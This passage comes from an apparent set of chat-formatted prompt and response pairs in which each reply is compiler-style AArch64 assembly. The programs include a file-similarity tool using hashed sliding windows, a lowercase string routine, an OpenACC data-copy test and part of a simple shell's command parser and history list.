ldr x0, [sp, 40]
b .L17
.L16:
ldr x0, [sp, 40]
ldr x0, [x0, 16]
str x0, [sp, 40]
.L15:
ldr x0, [sp, 40]
cmp x0, 0
bne .L18
.L14:
mov x0, 0
.L17:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size hash_table_lookup, .-hash_table_lookup
.align 2
.global sliding_window
.type sliding_window, %function
sliding_window:
.LFB10:
.cfi_startproc
sub sp, sp, #1120
.cfi_def_cfa_offset 1120
stp x29, x30, [sp]
.cfi_offset 29, -1120
.cfi_offset 30, -1112
mov x29, sp
str x0, [sp, 56]
str w1, [sp, 52]
str x2, [sp, 40]
str x3, [sp, 32]
str x4, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 1112]
mov x1, 0
b .L20
.L27:
str wzr, [sp, 76]
b .L21
.L26:
add x0, sp, 104
str x0, [sp, 88]
str wzr, [sp, 80]
b .L22
.L23:
ldr x0, [sp, 88]
add x0, x0, 1
str x0, [sp, 88]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L22:
ldr w1, [sp, 80]
ldr w0, [sp, 76]
cmp w1, w0
blt .L23
ldrsw x0, [sp, 52]
add x1, sp, 608
strb wzr, [x1, x0]
ldrsw x1, [sp, 52]
add x0, sp, 608
mov x2, x1
ldr x1, [sp, 88]
bl strncpy
mov w0, 1
str w0, [sp, 84]
add x0, sp, 608
ldr x1, [sp, 32]
bl hash_table_lookup
str x0, [sp, 96]
ldr x0, [sp, 96]
cmp x0, 0
beq .L24
ldr x0, [sp, 96]
ldr w0, [x0, 8]
add w1, w0, 1
ldr x0, [sp, 96]
str w1, [x0, 8]
b .L25
.L24:
add x0, sp, 608
ldr x3, [sp, 24]
ldr x2, [sp, 32]
ldr w1, [sp, 84]
bl hash_table_insert
.L25:
ldr x0, [sp, 40]
ldr w0, [x0]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L21:
mov w1, 501
ldr w0, [sp, 52]
sub w0, w1, w0
ldr w1, [sp, 76]
cmp w1, w0
blt .L26
.L20:
add x0, sp, 104
ldr x2, [sp, 56]
mov w1, 500
bl fgets
cmp x0, 0
bne .L27
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 1112]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L28
bl __stack_chk_fail
.L28:
ldp x29, x30, [sp]
add sp, sp, 1120
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size sliding_window, .-sliding_window
.section .rodata
.align 3
.LC2:
.string "Usage: diff FILE1 FILE2 len"
.align 3
.LC3:
.string "No digists were found"
.align 3
.LC4:
.string "len must greater than 0 and less than %d\n"
.align 3
.LC5:
.string "r"
.align 3
.LC6:
.string "File %s opened failed\n"
.align 3
.LC7:
.string "%.4f\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB11:
.cfi_startproc
sub sp, sp, #65536
.cfi_def_cfa_offset 65536
str xzr, [sp, 1024]
sub sp, sp, #65536
.cfi_def_cfa_offset 131072
str xzr, [sp, 1024]
sub sp, sp, #65536
.cfi_def_cfa_offset 196608
str xzr, [sp, 1024]
sub sp, sp, #65536
.cfi_def_cfa_offset 262144
str xzr, [sp, 1024]
mov x12, 57984
sub sp, sp, x12
.cfi_def_cfa_offset 320128
stp x29, x30, [sp]
.cfi_offset 29, -320128
.cfi_offset 30, -320120
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x1, sp, 311296
ldr x2, [x0]
str x2, [x1, 8824]
mov x2, 0
ldr w0, [sp, 28]
cmp w0, 3
bgt .L30
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl puts
mov w0, 1
b .L46
.L30:
ldr x0, [sp, 16]
add x0, x0, 24
ldr x0, [x0]
add x1, sp, 72
mov w2, 10
bl strtol
str x0, [sp, 88]
ldr x0, [sp, 16]
add x0, x0, 24
ldr x1, [x0]
ldr x0, [sp, 72]
cmp x1, x0
bne .L32
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl puts
mov w0, 1
b .L46
.L32:
ldr x0, [sp, 88]
cmp x0, 0
ble .L33
ldr x0, [sp, 88]
cmp x0, 500
ble .L34
.L33:
mov w1, 500
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
mov w0, 1
b .L46
.L34:
ldr x0, [sp, 16]
add x0, x0, 8
ldr x2, [x0]
adrp x0, .LC5
add x1, x0, :lo12:.LC5
mov x0, x2
bl fopen
str x0, [sp, 96]
ldr x0, [sp, 96]
cmp x0, 0
bne .L35
ldr x0, [sp, 16]
add x0, x0, 8
ldr x0, [x0]
mov x1, x0
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl printf
mov w0, 1
b .L46
.L35:
ldr x0, [sp, 16]
add x0, x0, 16
ldr x2, [x0]
adrp x0, .LC5
add x1, x0, :lo12:.LC5
mov x0, x2
bl fopen
str x0, [sp, 104]
ldr x0, [sp, 104]
cmp x0, 0
bne .L36
ldr x0, [sp, 16]
add x0, x0, 16
ldr x0, [x0]
mov x1, x0
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl printf
mov w0, 1
b .L46
.L36:
str wzr, [sp, 52]
str wzr, [sp, 56]
add x1, sp, 44
add x0, sp, 120
bl hash_table_init
add x1, sp, 48
add x0, sp, 159744
add x0, x0, 376
bl hash_table_init
ldr x0, [sp, 88]
mov w5, w0
add x2, sp, 44
add x1, sp, 120
add x0, sp, 52
mov x4, x2
mov x3, x1
mov x2, x0
mov w1, w5
ldr x0, [sp, 96]
bl sliding_window
ldr x0, [sp, 88]
mov w5, w0
add x2, sp, 48
add x1, sp, 159744
add x1, x1, 376
add x0, sp, 56
mov x4, x2
mov x3, x1
mov x2, x0
mov w1, w5
ldr x0, [sp, 104]
bl sliding_window
ldr x0, [sp, 96]
bl fclose
ldr x0, [sp, 104]
bl fclose
str wzr, [sp, 60]
str wzr, [sp, 64]
b .L37
.L43:
ldrsw x0, [sp, 64]
lsl x0, x0, 3
add x1, sp, 120
ldr x0, [x1, x0]
cmp x0, 0
beq .L38
ldrsw x0, [sp, 64]
lsl x0, x0, 3
add x1, sp, 120
ldr x0, [x1, x0]
str x0, [sp, 80]
b .L39
.L42:
ldr x0, [sp, 80]
ldr x0, [x0]
add x1, sp, 159744
add x1, x1, 376
bl hash_table_lookup
str x0, [sp, 112]
ldr x0, [sp, 112]
cmp x0, 0
beq .L40
ldr x0, [sp, 80]
ldr w1, [x0, 8]
ldr x0, [sp, 112]
ldr w0, [x0, 8]
cmp w1, w0
bge .L41
ldr x0, [sp, 80]
ldr w0, [x0, 8]
ldr w1, [sp, 60]
add w0, w1, w0
str w0, [sp, 60]
b .L40
.L41:
ldr x0, [sp, 112]
ldr w0, [x0, 8]
ldr w1, [sp, 60]
add w0, w1, w0
str w0, [sp, 60]
.L40:
ldr x0, [sp, 80]
ldr x0, [x0, 16]
str x0, [sp, 80]
.L39:
ldr x0, [sp, 80]
cmp x0, 0
bne .L42
.L38:
ldr w0, [sp, 64]
add w0, w0, 1
str w0, [sp, 64]
.L37:
ldr w1, [sp, 64]
mov w0, 19999
cmp w1, w0
ble .L43
str wzr, [sp, 68]
ldr w1, [sp, 52]
ldr w0, [sp, 56]
cmp w1, w0
bge .L44
ldr s0, [sp, 60]
scvtf s1, s0
ldr s0, [sp, 52]
scvtf s0, s0
fdiv s0, s1, s0
str s0, [sp, 68]
b .L45
.L44:
ldr s0, [sp, 60]
scvtf s1, s0
ldr s0, [sp, 56]
scvtf s0, s0
fdiv s0, s1, s0
str s0, [sp, 68]
.L45:
ldr s0, [sp, 68]
fcvt d0, s0
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl printf
mov w0, 0
.L46:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x3, sp, 311296
ldr x4, [x3, 8824]
ldr x2, [x0]
subs x4, x4, x2
mov x2, 0
beq .L47
bl __stack_chk_fail
.L47:
mov w0, w1
ldp x29, x30, [sp]
.cfi_restore 29
.cfi_restore 30
add sp, sp, 640
.cfi_def_cfa_offset 319488
add sp, sp, 319488
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "CheCKpOInT\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
mov w0, 256
str w0, [sp, 44]
ldrsw x0, [sp, 44]
bl malloc
str x0, [sp, 48]
str wzr, [sp, 40]
b .L2
.L3:
ldrsw x0, [sp, 40]
ldr x1, [sp, 48]
add x0, x1, x0
ldr w1, [sp, 40]
and w1, w1, 255
strb w1, [x0]
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L2:
ldr w1, [sp, 40]
ldr w0, [sp, 44]
cmp w1, w0
blt .L3
ldrsw x0, [sp, 44]
mov x1, x0
ldr x0, [sp, 48]
bl acc_copyin
str x0, [sp, 56]
ldr x0, [sp, 56]
bl acc_free
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 11
mov x1, 1
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl fwrite
ldrsw x0, [sp, 44]
mov x1, x0
ldr x0, [sp, 48]
bl acc_copyout
ldr x0, [sp, 48]
bl free
mov w0, 0
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global strlwr
.type strlwr, %function
strlwr:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
str x0, [sp, 40]
b .L2
.L4:
bl __ctype_b_loc
ldr x1, [x0]
ldr x0, [sp, 24]
ldrb w0, [x0]
and x0, x0, 255
lsl x0, x0, 1
add x0, x1, x0
ldrh w0, [x0]
and w0, w0, 256
cmp w0, 0
beq .L3
ldr x0, [sp, 24]
ldrb w0, [x0]
bl tolower
and w1, w0, 255
ldr x0, [sp, 24]
strb w1, [x0]
.L3:
ldr x0, [sp, 24]
add x0, x0, 1
str x0, [sp, 24]
.L2:
ldr x0, [sp, 24]
ldrb w0, [x0]
cmp w0, 0
bne .L4
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size strlwr, .-strlwr
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 24]
mov x1, 0
mov w0, 2
str w0, [sp, 20]
add x0, sp, 20
bl dog
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 24]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L3
bl __stack_chk_fail
.L3:
mov w0, w1
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
.align 2
.global dog
.type dog, %function
dog:
.LFB1:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
ldr x0, [sp, 8]
ldr w0, [x0]
add w0, w0, 3
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size dog, .-dog
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "error reading command"
.text
.align 2
.global setup
.type setup, %function
setup:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
mov x2, 80
ldr x1, [sp, 40]
mov w0, 0
bl read
str w0, [sp, 60]
mov w0, -1
str w0, [sp, 48]
str wzr, [sp, 56]
ldr w0, [sp, 60]
cmp w0, 0
bne .L2
mov w0, 0
bl exit
.L2:
ldr w0, [sp, 60]
cmp w0, 0
bge .L3
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl perror
mov w0, -1
bl exit
.L3:
str wzr, [sp, 52]
b .L4
.L12:
ldrsw x0, [sp, 52]
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 38
beq .L5
cmp w0, 38
bgt .L6
cmp w0, 32
beq .L7
cmp w0, 32
bgt .L6
cmp w0, 9
beq .L7
cmp w0, 10
beq .L8
b .L6
.L7:
ldr w0, [sp, 48]
cmn w0, #1
beq .L9
ldrsw x1, [sp, 48]
ldrsw x0, [sp, 56]
lsl x0, x0, 3
ldr x2, [sp, 32]
add x0, x2, x0
ldr x2, [sp, 40]
add x1, x2, x1
str x1, [x0]
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L9:
ldrsw x0, [sp, 52]
ldr x1, [sp, 40]
add x0, x1, x0
strb wzr, [x0]
mov w0, -1
str w0, [sp, 48]
b .L10
.L8:
ldr w0, [sp, 48]
cmn w0, #1
beq .L11
ldrsw x1, [sp, 48]
ldrsw x0, [sp, 56]
lsl x0, x0, 3
ldr x2, [sp, 32]
add x0, x2, x0
ldr x2, [sp, 40]
add x1, x2, x1
str x1, [x0]
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L11:
ldrsw x0, [sp, 52]
ldr x1, [sp, 40]
add x0, x1, x0
strb wzr, [x0]
ldrsw x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
str xzr, [x0]
b .L10
.L5:
ldr x0, [sp, 24]
mov w1, 1
str w1, [x0]
ldrsw x0, [sp, 52]
ldr x1, [sp, 40]
add x0, x1, x0
strb wzr, [x0]
b .L10
.L6:
ldr w0, [sp, 48]
cmn w0, #1
bne .L10
ldr w0, [sp, 52]
str w0, [sp, 48]
.L10:
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L4:
ldr w1, [sp, 52]
ldr w0, [sp, 60]
cmp w1, w0
blt .L12
ldrsw x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
str xzr, [x0]
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size setup, .-setup
.align 2
.global InitHistoryLinkList
.type InitHistoryLinkList, %function
InitHistoryLinkList:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
mov x0, 440
bl malloc
str x0, [sp, 40]
ldr x0, [sp, 40]
str xzr, [x0, 424]
ldr x0, [sp, 40]
str xzr, [x0, 432]
ldr x0, [sp, 40]
str wzr, [x0, 412]
ldr x0, [sp, 40]
str wzr, [x0, 408]
ldr x0, [sp, 24]
ldr x1, [sp, 40]
str x1, [x0]
ldr x0, [sp, 16]
ldr x1, [sp, 40]
str x1, [x0]
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size InitHistoryLinkList, .-InitHistoryLinkList
.align 2
.global AddHistoryToEnd
.type AddHistoryToEnd, %function
AddHistoryToEnd:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
stp x19, x20, [sp, 16]
.cfi_offset 19, -80
.cfi_offset 20, -72
str x0, [sp, 72]
str x1, [sp, 64]
str x2, [sp, 56]
str x3, [sp, 48]
str w4, [sp, 44]
str wzr, [sp, 84]
mov x0, 440
bl malloc
str x0, [sp, 88]
ldr x0, [sp, 88]
mov x2, 80
ldr x1, [sp, 56]
bl strncpy
str wzr, [sp, 84]
b .L15
.L18:
ldrsw x0, [sp, 84]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr x0, [x0]
cmp x0, 0
beq .L16
ldrsw x0, [sp, 84]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr x0, [x0]
bl strlen
add x0, x0, 1
bl malloc
mov x2, x0
ldr x0, [sp, 88]
ldrsw x1, [sp, 84]
add x1, x1, 10
str x2, [x0, x1, lsl 3]
ldr x0, [sp, 88]
ldrsw x1, [sp, 84]
add x1, x1, 10
ldr x19, [x0, x1, lsl 3]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr x20, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr x0, [x0]
bl strlen
add x0, x0, 1
mov x2, x0
mov x1, x20
mov x0, x19
bl strncpy
b .L17
.L16:
ldrsw x0, [sp, 84]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 88]
ldrsw x1, [sp, 84]
add x1, x1, 10
str x2, [x0, x1, lsl 3]
mov w0, 41
str w0, [sp, 84]
.L17:
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L15:
ldr w0, [sp, 84]
cmp w0, 40
ble .L18
ldr x0, [sp, 64]
ldr x0, [x0]
ldr w0, [x0, 412]
add w1, w0, 1
ldr x0, [sp, 88]
str w1, [x0, 412]
ldr x0, [sp, 88]
ldr w1, [sp, 44]
str w1, [x0, 408]
ldr x0, [sp, 88]
add x0, x0, 416
bl time
ldr x0, [sp, 64]
ldr x1, [x0]
ldr x0, [sp, 88]
str x1, [x0, 432]
ldr x0, [sp, 88]
str xzr, [x0, 424]
ldr x0, [sp, 64]
ldr x0, [x0]
ldr x1, [sp, 88]
str x1, [x0, 424]
ldr x0, [sp, 64]
ldr x1, [sp, 88]
str x1, [x0]
nop
ldp x19, x20, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size AddHistoryToEnd, .-AddHistoryToEnd
.align 2
.global isSameHistoryNode
.type isSameHistoryNode, %function
isSameHistoryNode:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
mov w0, 1
str w0, [sp, 40]
ldr x0, [sp, 24]
ldr x1, [sp, 16]
bl strcmp
cmp w0, 0
bne .L20
ldr x0, [sp, 24]
ldr w1, [x0, 408]
ldr x0, [sp, 16]
ldr w0, [x0, 408]
cmp w1, w0
beq .L21
.L20:
str wzr, [sp, 40]
b .L22
.L21:
str wzr, [sp, 44]
b .L23
.L28:
ldr x0, [sp, 24]
ldrsw x1, [sp, 44]
add x1, x1, 10
ldr x0, [x0, x1, lsl 3]
cmp x0, 0
beq .L24
ldr x0, [sp, 16]
ldrsw x1, [sp, 44]
add x1, x1, 10
ldr x0, [x0, x1, lsl 3]
cmp x0, 0
bne .L25
.L24:
ldr x0, [sp, 24]
ldrsw x1, [sp, 44]
add x1, x1, 10
ldr x1, [x0, x1, lsl 3]
ldr x0, [sp, 16]
ldrsw x2, [sp, 44]
add x2, x2, 10
ldr x0, [x0, x2, lsl 3]
cmp x1, x0
beq .L26
str wzr, [sp, 40]
.L26:
mov w0, 41
str w0, [sp, 44]
b .L27
.L25:
ldr x0, [sp, 24]
ldrsw x1, [sp, 44]
add x1, x1, 10
ldr x2, [x0, x1, lsl 3]
ldr x0, [sp, 16]
ldrsw x1, [sp, 44]
add x1, x1, 10
ldr x0, [x0, x1, lsl 3]
mov x1, x0
mov x0, x2
bl strcmp
cmp w0, 0
beq .L27
str wzr, [sp, 40]
mov w0, 41
str w0, [sp, 44]
.L27:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L23:
ldr w0, [sp, 44]
cmp w0, 40
ble .L28
.L22:
ldr w0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size isSameHistoryNode, .-isSameHistoryNode
.align 2
.global removeDuplicateHistory
.type removeDuplicateHistory, %function
removeDuplicateHistory:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x0, [sp, 24]
str x0, [sp, 40]
str xzr, [sp, 48]
str xzr, [sp, 56]
b .L31
.L33:
ldr x0, [sp, 40]
ldr x0, [x0, 424]
ldr x1, [sp, 16]
bl isSameHistoryNode
cmp w0, 0
beq .L32
ldr x0, [sp, 40]
ldr x0, [x0, 424]
str x0, [sp, 56]
ldr x0, [sp, 40]
ldr x0, [x0, 424]
ldr x0, [x0, 424]
str x0, [sp, 48]
ldr x0, [sp, 40]
ldr x1, [sp, 48]
str x1, [x0, 424]
ldr x0, [sp, 48]
ldr x1, [sp, 40]
str x1, [x0, 432]
ldr x0, [sp, 56]
bl free
str xzr, [sp, 56]
b .L31
.L32:
ldr x0, [sp, 40]
ldr x0, [x0, 424]
str x0, [sp, 40]
.L31:
ldr x0, [sp, 40]
ldr x0, [x0, 424]
ldr x1, [sp, 16]
cmp x1, x0
bne .L33
nop
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size removeDuplicateHistory, .-removeDuplicateHistory
.section .rodata
.align 3
.LC1:
.string "%s "
.text
.align 2
.global echoHistoryCommand
.type echoHistoryCommand, %function
echoHistoryCommand:
.LFB11:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str wzr, [sp, 44]
b .L35
.L36:
ldr x0, [sp, 24]
ldrsw x1, [sp, 44]
add x1, x1, 10
ldr x0, [x0, x1, lsl 3]
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L35:
ldr x0, [sp, 24]
ldrsw x1, [sp, 44]
add x1, x1, 10
ldr x0, [x0, x1, lsl 3]
cmp x0, 0
bne .L36
ldr x0, [sp, 24]
ldr w0, [x0, 408]
cmp w0, 0
beq .L37
mov w0, 38
bl putchar
.L37:
mov w0, 10
bl putchar
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size echoHistoryCommand, .-echoHistoryCommand
.section .rodata
.align 3
.LC2:
.string "%6d\t%02d:%02d:%02d "
.text
.align 2
.global printHistoryRecords
.type printHistoryRecords, %function
printHistoryRecords:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
str wzr, [sp, 60]
ldr x0, [sp, 32]
str x0, [sp, 64]
mov w0, 1
str w0, [sp, 60]
b .L39
.L41:
ldr x0, [sp, 64]
ldr x0, [x0, 432]
str x0, [sp, 64]
ldr x1, [sp, 64]
ldr x0, [sp, 40]
cmp x1, x0
bne .L40
ldr w0, [sp, 28]
str w0, [sp, 60]
.L40:
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L39:
ldr w1, [sp, 60]
ldr w0, [sp, 28]
cmp w1, w0
ble .L41
b .L42
.L43:
ldr x0, [sp, 64]
ldr x0, [x0, 424]
add x0, x0, 416
bl localtime
str x0, [sp, 72]
ldr x0, [sp, 64]
ldr x0, [x0, 424]
ldr w1, [x0, 412]
ldr x0, [sp, 72]
ldr w2, [x0, 8]
ldr x0, [sp, 72]
ldr w3, [x0, 4]
ldr x0, [sp, 72]
ldr w0, [x0]
mov w4, w0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
ldr x0, [sp, 64]
ldr x0, [x0, 424]
bl echoHistoryCommand
ldr x0, [sp, 64]
ldr x0, [x0, 424]
str x0, [sp, 64]
.L42:
ldr x0, [sp, 64]
ldr x0, [x0, 424]
cmp x0, 0
bne .L43
nop
nop
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size printHistoryRecords, .-printHistoryRecords
.align 2
.global setHistoryNode
.type setHistoryNode, %function
setHistoryNode:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
str x3, [sp, 16]
ldr x0, [sp, 40]
mov x2, 80
mov x1, x0
ldr x0, [sp, 32]
bl strncpy
str wzr, [sp, 60]
str wzr, [sp, 60]
b .L45
.L48:
ldr x0, [sp, 40]
ldrsw x1, [sp, 60]
add x1, x1, 10
ldr x0, [x0, x1, lsl 3]
cmp x0, 0
beq .L46
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x1, [sp, 40]
ldrsw x2, [sp, 60]
add x2, x2, 10
ldr x1, [x1, x2, lsl 3]
str x1, [x0]
b .L47
.L46:
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
str xzr, [x0]
mov w0, 41
str w0, [sp, 60]
.L47:
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L45:
ldr w0, [sp, 60]
cmp w0, 40
ble .L48
ldr x0, [sp, 40]
ldr w1, [x0, 408]
ldr x0, [sp, 16]
str w1, [x0]
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size setHistoryNode, .-setHistoryNode
.align 2
.global searchHistoryByIndex
.type searchHistoryByIndex, %function
searchHistoryByIndex:
.LFB14:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str w0, [sp, 28]
str x1, [sp, 16]
str x2, [sp, 8]
str w3, [sp, 24]
str xzr, [sp, 32]
ldr x0, [sp, 8]
str x0, [sp, 40]
ldr w0, [sp, 28]
cmp w0, 0
ble .L50
ldr x0, [sp, 8]
ldr w0, [x0, 412]
ldr w1, [sp, 28]
cmp w1, w0
bgt .L50
b .L51
.L53:
ldr x0, [sp, 40]
ldr w0, [x0, 412]
ldr w1, [sp, 28]
cmp w1, w0
bne .L52
ldr x0, [sp, 40]
str x0, [sp, 32]
b .L50
.L52:
ldr x0, [sp, 40]
ldr x0, [x0, 432]
str x0, [sp, 40]
ldr w0, [sp, 24]
sub w0, w0, #1
str w0, [sp, 24]
.L51:
ldr x1, [sp, 40]
ldr x0, [sp, 16]
cmp x1, x0
beq .L50
ldr w0, [sp, 24]
cmp w0, 0
bgt .L53
.L50:
ldr x0, [sp, 32]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE14:
.size searchHistoryByIndex, .-searchHistoryByIndex
.align 2
.global searchHistoryByPrefix
.type searchHistoryByPrefix, %function
searchHistoryByPrefix:
.LFB15:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
str w3, [sp, 20]
str xzr, [sp, 56]
ldr x0, [sp, 24]
str x0, [sp, 64]
ldr x0, [sp, 40]
cmp x0, 0
beq .L56
b .L57
.L59:
ldr x0, [sp, 64]
ldr x1, [sp, 40]
bl strstr
str x0, [sp, 72]
ldr x0, [sp, 64]
ldr x1, [sp, 72]
cmp x1, x0
bne .L58
ldr x0, [sp, 64]
str x0, [sp, 56]
b .L56
.L58:
ldr x0, [sp, 64]
ldr x0, [x0, 432]
str x0, [sp, 64]
ldr w0, [sp, 20]
sub w0, w0, #1
str w0, [sp, 20]
.L57:
ldr x1, [sp, 64]
ldr x0, [sp, 32]
cmp x1, x0
beq .L56
ldr w0, [sp, 20]
cmp w0, 0
bgt .L59
.L56:
ldr x0, [sp, 56]
ldp x29, x30, [sp], 80
.cfi_restore 30
